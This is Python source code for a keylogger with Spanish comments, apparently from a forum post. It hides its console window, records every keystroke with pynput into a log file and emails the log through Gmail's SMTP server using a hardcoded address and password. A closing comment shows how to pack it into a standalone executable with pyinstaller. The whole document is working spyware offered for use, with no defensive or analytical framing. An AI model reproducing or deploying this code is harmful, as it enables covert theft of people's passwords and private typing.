Código:
#!/usr/bin/env python #interprete de ejecucion
#* coding: utf8 *
import pynput.keyboard
import smtplib #este modulo ya viene instalado por defecto en python
import time
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import win32console
import win32gui
ventana = win32console.GetConsoleWindow()
win32gui.ShowWindow(ventana,0)
log_file = open('log.txt','w+')
##########################################################
def enviar_datos():
msg=MIMEMultipart()
password="set1enbre"
msg['From'] = "pruebakey18@gmail.com"
msg['To']="pruebakey18@gmail.com"
#Asunto
msg['Subject']="Keylogger Prueba"
msg.attach(MIMEText(file('log.txt').read()))
try:
server= smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
#Ahora tenemos que logearnos en nuestra cuenta de gmail
server.login(msg['From'],password)
#Envair el correo electronico , tiene 3 parametros
#el remitente (el que envia), el que recibe , mandar el contenido del correo electronico accediento al metodo asstring
server.sendmail(msg['From'],msg['To'],msg.as_string())
server.quit()
except:
pass
def imprimir():
#convertir en una variable de texto
teclas=''.join(lista_tecla)
log_file.write(teclas)
log_file.write('\n')
log_file.close()
time.sleep(3)
enviar_datos()
lista_tecla=[]
def convertir(key):
if isinstance(key,pynput.keyboard.KeyCode):
return key.char
else:
return str(key)
#imprimir lo q el usuario teclee
def presiona(key):
key1= convertir(key)
if key1 =="Key.esc":
print("Saliendo ..")
print(key1)
imprimir()
return False
elif key1 =="Key.space":
lista_tecla.append(" ")
elif key1 =="Key.enter":
lista_tecla.append('\n')
elif key1=="Key.backspace":
pass
#Que no haga añade nada
elif key1=="Key.tab":
pass
elif key1=="Key.caps_lock":
pass
elif key1=="Key.alt_r":
pass
elif key1=="Key.shift":
pass
else :
lista_tecla.append(key1)
with pynput.keyboard.Listener(on_press=presiona) as listen:
listen.join()
#para que escuche la herramienta
#pyinstaller --onefile keylogger.py